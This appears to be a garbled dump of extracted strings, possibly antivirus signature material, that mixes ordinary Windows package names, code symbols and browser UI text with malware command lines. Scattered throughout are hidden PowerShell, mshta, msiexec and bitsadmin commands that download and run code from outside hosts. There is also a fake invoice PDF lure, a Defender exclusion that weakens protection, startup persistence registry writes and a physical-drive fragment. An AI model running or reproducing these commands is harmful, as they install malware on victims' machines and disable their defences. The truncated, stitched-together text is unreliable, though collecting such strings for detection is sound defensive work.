#C:\WINDOWS\System32\svchost.exe -k AppReadiness -p
USERNAME=WINDOWS11
c:\windows\system32\cmd.exe"/min/c"echovisualizacaoindisponivel>%userprofile%\\downloads\\notafiscal.pdf&&start%userprofile%\\downloads\\notafiscal.pdf
powershell-windowstylehidden-executionpolicy bypass-noprofile-command"iex((new-object net.webclient).downloadstring('https://bknpnt.com/bkngpntqow'))
qCru6"%ps_exec%"-windowstylehidden-executionpolicybypass-noprofile-command"[net.servicepointmanager]::securityprotocol=[net.securityprotocoltype]::tls12;$webclient=new-objectsystem.net.webclient;
f6d5d7.jarc:\users\microsoft\appdata\local\microsoft\windows\inetcache\content.word\f6d5d7.jarwc:\users\micros~1\appdata\local\temp\{56824cf4-5d66-4dcc-8362-c4ec31706c09}\f6d5d7.jarpk+u~me
GetSystemWindowsDirectoryA
kernel32.GetSystemWindowsDirectoryA
GetSystemWindowsDirectoryW
kernel32.GetSystemWindowsDirectoryW
GetWindowsDirectoryA
kernel32.GetWindowsDirectoryA
GetWindowsDirectoryW
kernel32.GetWindowsDirectoryW
This site has been flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
Windows.Foundation.Metadata.GuidAttribute
arefileapisad.exebts and set/c attrib -r -h -s "%s"windows\%s.scrpin this program to taskbar
\windows nt\currentversion
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
 http://www.microsoft.com/windows0
nal@Windows@@
8Microsoft Windows Hardware Compatibility Intermediate CA1
(Microsoft Windows Hardware Compatibility0
.?AU?$producer_convert@UFilterViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UFilterViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producers_base@UFilterViewModel@implementation@TaskManagerApp@winrt@@V?$tuple@UFilterViewModel@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@3@@std@@@impl@winrt@@
.?AU?$delegate@U?$VectorChangedEventHandler@USettingsGroupViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@V<lambda_bccb0913e2695830bda2263cc60bb3c8>@@@impl@winrt@@
.?AU?$implements_delegate@U?$VectorChangedEventHandler@USettingsGroupViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@V<lambda_bccb0913e2695830bda2263cc60bb3c8>@@@impl@winrt@@
.?AU?$implements_delegate@U?$TypedEventHandler@UIInspectable@Foundation@Windows@winrt@@W4PageId@TaskManagerApp@4@@Foundation@Windows@winrt@@V<lambda_b75719274985a1ce8ef430762cbbe50d>@@@impl@winrt@@
.?AU?$delegate@U?$VectorChangedEventHandler@USettingsGroupViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@V<lambda_59c8d6f78973b425e6500053723b7695>@@@impl@winrt@@
.?AU?$implements_delegate@U?$VectorChangedEventHandler@USettingsGroupViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@V<lambda_59c8d6f78973b425e6500053723b7695>@@@impl@winrt@@
.?AU?$implements_delegate@U?$TypedEventHandler@UIInspectable@Foundation@Windows@winrt@@_K@Foundation@Windows@winrt@@V<lambda_5514992e21a61b0532ac160f18fd606f>@@@impl@winrt@@
.?AU?$delegate@U?$TypedEventHandler@UIInspectable@Foundation@Windows@winrt@@W4PageId@TaskManagerApp@4@@Foundation@Windows@winrt@@V<lambda_b75719274985a1ce8ef430762cbbe50d>@@@impl@winrt@@
.?AU?$delegate@U?$TypedEventHandler@UIInspectable@Foundation@Windows@winrt@@_N@Foundation@Windows@winrt@@V<lambda_0730874e1ec98c28cfcdc2b8e54b4e62>@@@impl@winrt@@
.?AU?$implements_delegate@U?$TypedEventHandler@UIInspectable@Foundation@Windows@winrt@@_N@Foundation@Windows@winrt@@V<lambda_0730874e1ec98c28cfcdc2b8e54b4e62>@@@impl@winrt@@
.?AU?$delegate@U?$TypedEventHandler@UIInspectable@Foundation@Windows@winrt@@_K@Foundation@Windows@winrt@@V<lambda_5514992e21a61b0532ac160f18fd606f>@@@impl@winrt@@
.?AU?$delegate@U?$TypedEventHandler@UIInspectable@Foundation@Windows@winrt@@W4AppTheme@TaskManagerApp@4@@Foundation@Windows@winrt@@V<lambda_5365d802dccbbb8d82ea34b06258c78c>@@@impl@winrt@@
(Params->InputType == Windows::Microdom::Rtl::CreateMicrodomSource::Binary) || (Params->InputType == Windows::Microdom::Rtl::CreateMicrodomSource::Xml)
Windows::uDom::Rtl::RtlCreateMicrodomUpdateContext
Windows::uDom::Rtl::RtlDestroyMicrodomUpdateContext
Windows::uDom::Rtl::RtlMicrodomUpdateCreateElementNs
Windows::uDom::Rtl::RtlMicrodomUpdateCreateTextual
Windows::uDom::Rtl::RtlMicrodomUpdateCreateAttributeNs
Windows::uDom::Rtl::RtlMicrodomUpdateGetCookieForExistingNode
Windows::uDom::Rtl::RtlMicrodomUpdateSetNodeTextContent
Windows::uDom::Rtl::RtlMicrodomUpdateSetNodeName
Windows::uDom::Rtl::RtlMicrodomUpdateInsertChild
Windows::uDom::Rtl::RtlMicrodomUpdateRemoveChild
Windows::uDom::Rtl::RtlMicrodomUpdateRemoveElement
Windows::uDom::Rtl::RtlMicrodomUpdateInsertMicrodomNodeEx
Windows::uDom::Rtl::RtlCreateUpdatedMicrodomAsUtf8
Windows::uDom::Rtl::RtlCreateUpdatedMicrodomAsMicrodom
Windows::Rtl::IsValid(ptr)
TempNode != Windows::Microdom::Rtl::Node::InvalidValue()
NodeMap != Windows::Microdom::Rtl::NamedNodeMap::InvalidValue()
whichElement != Windows::Microdom::Rtl::Element::InvalidValue()
(Params->SourceType == Windows::Microdom::Rtl::CreateMicrodomSource::Stream) || (Params->SourceType == Windows::Microdom::Rtl::CreateMicrodomSource::BlobProvider) || (Params->SourceType == Windows::Microdom::Rtl::CreateMicrodomSource::Blob)
windows.
.?AVQWindowsUiaTextRangeProvider@@
.?AV?$QWindowsComBase@UITextRangeProvider@@@@
.?AVQWindowsUiaToggleProvider@@
.?AV?$QWindowsComBase@UIToggleProvider@@@@
.?AVQWindowsUiaSelectionProvider@@
.?AV?$QWindowsComBase@UISelectionProvider@@@@
.?AVQWindowsUiaSelectionItemProvider@@
.?AV?$QWindowsComBase@UISelectionItemProvider@@@@
.?AVQWindowsUiaInvokeProvider@@
.?AV?$QWindowsComBase@UIInvokeProvider@@@@
.?AVQWindowsUiaRangeValueProvider@@
.?AV?$QWindowsComBase@UIRangeValueProvider@@@@
.?AVQWindowsUiaTableProvider@@
.?AV?$QWindowsComBase@UITableProvider@@@@
.?AVQWindowsUiaTableItemProvider@@
.?AV?$QWindowsComBase@UITableItemProvider@@@@
.?AVQWindowsUiaGridProvider@@
.?AV?$QWindowsComBase@UIGridProvider@@@@
.?AVQWindowsUiaGridItemProvider@@
.?AV?$QWindowsComBase@UIGridItemProvider@@@@
.?AVQWindowsUiaWindowProvider@@
.?AV?$QWindowsComBase@UIWindowProvider@@@@
.?AVQWindowsUiaExpandCollapseProvider@@
.?AV?$QWindowsComBase@UIExpandCollapseProvider@@@@
.?AVQWindowsUiaWindowProviderDialog@@
.?AVQWindowsIntegrationPlugin@@
.?AVQWindowsBackingStore@@
.?AVQWindowsGdiIntegration@@
.?AVQWindowsNativeInterface@@
.?AVQWindowsGdiNativeInterface@@
.?AVQWindowsGuiEventDispatcher@@
.?AVQWindowsFontDatabase@@
.?AVQWindowsFontEngine@@
.?AVQWindowsFontEngineDirectWrite@@
.?AVQWindowsUiaWrapper@@
diskVolume3\Windows\System32\stdole2.tlb
System.Windows.Forms.UnsafeNativeMethods.IOleClientSite.ShowObject
System.Windows.Forms.UnsafeNativeMethods.UiaCore.ITextRangeProvider.Select
System.Windows.Forms.UnsafeNativeMethods.ILegacyIAccessibleProvider.Select
System.Windows.Forms.UnsafeNativeMethods.ISelectionItemProvider.Select
System.Windows.Forms.UnsafeNativeMethods.IAccessibleInternal.accSelect
System.Windows.Forms.UnsafeNativeMethods.IViewObject2.GetColorSet
System.Windows.Forms.UnsafeNativeMethods.IViewObject.GetColorSet
System.Windows.Forms.ComponentModel.Com2Interop.IComPropertyBrowser.InPropertySet
System.Windows.Forms.ComponentModel.Com2Interop.IComPropertyBrowser.get_InPropertySet
c1^windows.appExtension
c3^windows.toastNotificationActivation
-windowstyle h
eglCreatePlatformWindowSurfaceEXT
SoftWare\Microsoft\WindowsN
Services HotSenha possui tamanho invWindows Live Messengerhttp://mail.terra.com.brgoogle.com/accounts/f
 \WINDOWS\CURRENTVERSION\RUN
TMP=C:\WINDOWS\SERVIC~1\LOCALS~1\AppData\Local\Temp
TEMP=C:\WINDOWS\SERVIC~1\LOCALS~1\AppData\Local\Temp
USERPROFILE=C:\WINDOWS\ServiceProfiles\LocalService
C:\WINDOWS\system32\midisrv.exe
DriverData=C:\Windows\System32\Drivers\DriverData
c:/windows/system32/dL
c:/windows/system32/d
6a^windows.appExtensionHost
6a^windows.appExtension
c:\windows\system32\windowspowershell\v1.0\powershell.exe-whidden$link='https://soap-messaging-binding-previously.trycloudflare.com/index.php
9NMS4SFNBGBHBehaviourInteractive.DeadbyDaylightWindows_b1gz2xhdanwfmBehaviour Interactive Inc.
c:\windows\system32\cmd.exef/q/v/rs^t^art^msiex^ecjb^b=^qqng^u-f^v"http://6t.pm:8080/bxb/ebnolgu8njxmtojlxf/qyjrq/!
Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|!
Microsoft-Windows-DirectoryServices-ADAM-Snapins-Group-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|!
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7019.cat|!
Qstart-process-windowstylehidden-filepathjre\bin\java.exe-argumentlist"-jar$f"
powershell.exe"-argument"-noprofile-windowstylehidden-executionpolicybypass-c
)run($sysdrive&"\windows\wpp.exe-noenableexplorer-reset",$sysdrive&"\windows")
c:\windows\system32\msiexec.exe/quiet/ihttp://103.54.153.116/document-obf.msi
&.NET Docking Library for Windows Forms
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
0Model@WindowsUdk@winrt@@EAAX_KIV?$basic_string@_WU?$char_traits
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-OneCore-Fonts-UAPFonts-Package~31bf3856ad364e35~amd64~~10.0.26100.1000.cat|Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|!
Microsoft-Windows-TerminalServices-Publishing-WMIProvider-Package~31bf3856ad364e35~amd64~~10.0.26100.3323.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|!
Microsoft-Windows-Kernel-Package-PDC-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|.0.26100.1
get-windowsoptionalfeature
<?xml version="1.0" encoding="utf-8"?><rg:licenseGroup xmlns:rg="urn:mpeg:mpeg21:2003:01-REL-R-NS"><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{0bb960b2-f948-4ec7-bf6e-5a4a0592fc73}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL phone License (Public)</r:title><r:grant><r:forAll varName="applicI
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
WindowsVersion
Microsoft-Windows-Client-Features-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-OneCore-Common-DriverClasses-Core-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-OneCore-Common-DriverClasses-Core-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4484.cat|Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat|
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~en-US~10.0.26100.1000.cat|
Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package0510~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Foundation-Win0-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Security-SPP-Component-SKU-ServerRdsh-License-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
r\cmd.exe/cstart/b%systemroot%\system32\mshtahttps://share.bloomcloud.org/
.runwindir&"\system32\windowspowershell\v1.0\powershell.exe",2set
U\system32\avp.id
Windows NT\CurrentVersion\Winlogon
\Windows Sarby
da^com.microsoft.windows.extensionpackage
dc^com.microsoft.windows.extensionpackage
de^com.microsoft.windows.extensionpackage
tWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy!CortanaUI
c:\windows\system32\cmd.exe
X86_MICROSOFT.WINDOWS.C..-CONTROLS.RESOURCES_6595B64144CCF1DF_EN-US_0C410FC5617240BB
OS=Windows_NT
Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0114~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|!
Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|!
Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|!
Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|!
Microsoft-Windows-ShellOptions-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Package_4_for_KB5066128~31bf3856ad364e35~amd64~~10.0.9321.3.cat|Core-ESENT-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|40.cat|
K.Shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\
powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "wusa /uninstall /kb:
Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData-ExclusionProcess 'C:\Windows\System32\cmd.exe-ForceTrojan:Win64/Vidar.XTP!MTB
bled":0,"NWDesktopEvalEnabled":1,"NWDesktopRegKeyState":2,"Options":6,"DeveloperOptions":3154931712,"FileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\POSyncServices.dll","ShellExecutedFileName":"","ProcessName":"\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe","FlatSHA256Hash":[],"FileHash":[185,162,6,10,171,120,127,197,116,148,118,12,137,203,39,140,17,31,9,56],"SecureRequiredFlags":0,"RequestedSigningLevel":2,"GenericVerificationError":0,"SACPolicyOptions":2978817812,"OriginalFileName":"PoSyncServices.dll","InternalName":"PoSyncServices","FileDescription":"Change Tracking","ProductName":"Microsoft
 Windows
 Operating System","FileVersion":2814751477598042,"TimeDateStamp":1995717887,"SACPolicyGuidID":"1283AC0F-FFF1-49AE-ADA1-8A933130CAD6","PolicyName":"25979.1000.20231018","PolicyID":"VerifiedAndReputableDesktopEvaluation","SACExternalAuthorizationFlags":2228224,"SACExternalAuthorizationUsed":2097152,"SACDefenderScanFailedOverride":0,"SACUnsignedUnknownOverride":0,"DefenderStatus":0,"DefenderCatDbFailureStage":0,"DefenderCatDbFailure":0,"DefenderTrust":0,"DefenderScanResultDetails":0,"DefenderTrustExpiryTime":0,"EAReplayFailureState":3,"CachedDefenderTrust":0,"CachedDefenderTrustExpiryTime":0,"DefenderClientStatusCode":0,"DefenderCloudHTTPCode":0,"DefenderEngineReportGUID":"00000000-0000-0000-0000-000000000000","DefenderThreatName":"","DefenderShellExecutedStatus":0,"DefenderShellExecutedTrust":0,"DefenderShellExecutedClientStatusCode":0,"DefenderShellExecutedCloudHTTPCode":0,"DefenderShellExecutedEngineReportGUID":"00000000-0000-0000-0000-000000000000","DefenderShellExecutedThreatName":"","DefenderShellExecutedFlatHash":[],"DefenderTelemetryFlags":0,"OriginClaimPresent":false,"OriginClaimDataVersion":0,"OriginClaimOrigin":0,"OriginClaimType":0,"OriginClaimGeneration":0,"OriginClaimSessionID":"00000000-0000-0000-0000-000000000000","OriginClaimSubSessionID":"00000000-0000-0000-0000-000000000000","OriginClaimSmartScreenClaim":0,"OriginClaimRevocationID":0,"OriginClaimDataString":"","CallingProcessOriginClaimPresent":false,"CallingProcessOriginClaimDataVersion":0,"CallingProcessOriginClaimOrigin":0,"CallingProcessOriginClaimType":0,"CallingProcessOriginClaimGeneration":0,"CallingProcessOriginClaimSessionID":"00000000-0000-0000-0000-000000000000","CallingProcessOriginClaimSubSessionID":"00000000-0000-0000-0000-000000000000","CallingProcessOriginClaimSmartScreenClaim":0,"CallingProcessOriginClaimRevocationID":0,"CallingProcessOriginClaimDataString":"","TotalSignatureCount":1,"SACStateChangeReason":8,"SACPreviousState":4294967295,"FileSignatureInfo":[{"VerificationError":0,"ValidatedSigningLevel":12,"CertTBS":[40,118,239,226,45,166,109,12,104,253,172,45,12,185,82,154,52,93,5,152,131,119,231,69,218,232,30,102,203,2,227,250],"KnownRoot":6,"IssuerName":"Microsoft Windows Production PCA 2011","PolicyFlags":2050,"RequiresWHQLFlag":false,"ValidFrom":"2025-06-19T18:11:44.0000000Z","ValidTo":"2026-06-17T18:11:44.0000000Z"}]}}
{"ver":"4.0","name":"Microsoft.Windows.Security.CodeIntegrity.NWActivityVerbose.SACDecision","time":"2026-02-24T08:07:31.8900846Z","iKey":"o:95c1f21d6cb047a09e7b423c1cb2222e","ext":{"utc":{"eventFlags":258,"pgName":"MSPG","dvcSample":59.81,"flags":52412023344,"edition":48,"epoch":"800503","seq":34},"privacy":{"dataType":32088572553658445,"isRequired":false},"metadata":{"f":{"Count":4,"MinSmartLockerVerificationTime":4,"MaxSmartLockerVerificationTime":4,"MinDefenderVerificationTime":4,"MaxDefenderVerificationTime":4,"MinEventTime":4,"MaxEventTime":4,"EventVersion":2,"Status":2,"SACStatus":2,"SecureRequiredFlags":2,"GenericVerificationError":2,"FileVersion":5,"SACPolicyGuidID":8,"SACExternalAuthorizationFlags":2,"SACExternalAuthorizationUsed":2,"DefenderStatus":2,"DefenderCatDbFailure":2,"DefenderTrust":2,"DefenderTrustExpiryTime":4,"EAReplayFailureState":2,"CachedDefenderTrust":2,"CachedDefenderTrustExpiryTime":4,"DefenderClientStatusCode":2,"DefenderCloudHTTPCode":2,"DefenderEngineReportGUID":8,"DefenderShellExecutedStatus":2,"DefenderShellExecutedTrust":2,"DefenderShellExecutedClientStatusCo$PH
user32::ExitWindowsEx(i, i) i \\.\PHYSICALDRIVE%d
 Windows, 
 Windows, 
 Windows, 
 Windows, 
 Windows, 
Global.TwinSxSMicrosoftWindows.Client.Core_cw5n1h2txyewy!9
Windows.Client.Core_cw5n1h2txyewy!R
onecoreuap\Internal\BuildMetadata\internal\cppwinrt\winrt\windows.devices.enumeration.h
windowsinstaller.installer.*installproduct
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
ROOT\Microsoft\Windows\Defender
Q>2HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows
aQc:\windows\system32\windowspowershell\v1.0\powershell.exe-executionpolicybypass-noprofile-command(invoke-webrequest-uri'https://yourownmart.com/solar.txt'-usebasicparsing).content|invoke-expression
Ec:\windows\system32\cmd.exestart-processcmd.exe-argumentlist'/cbitsadmin/transferupdate/download/prioritynormalhttps://cdn.ps5.zip/d3hostextended.txt%temp%\test&start%temp%\test'-windowstylehidden
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
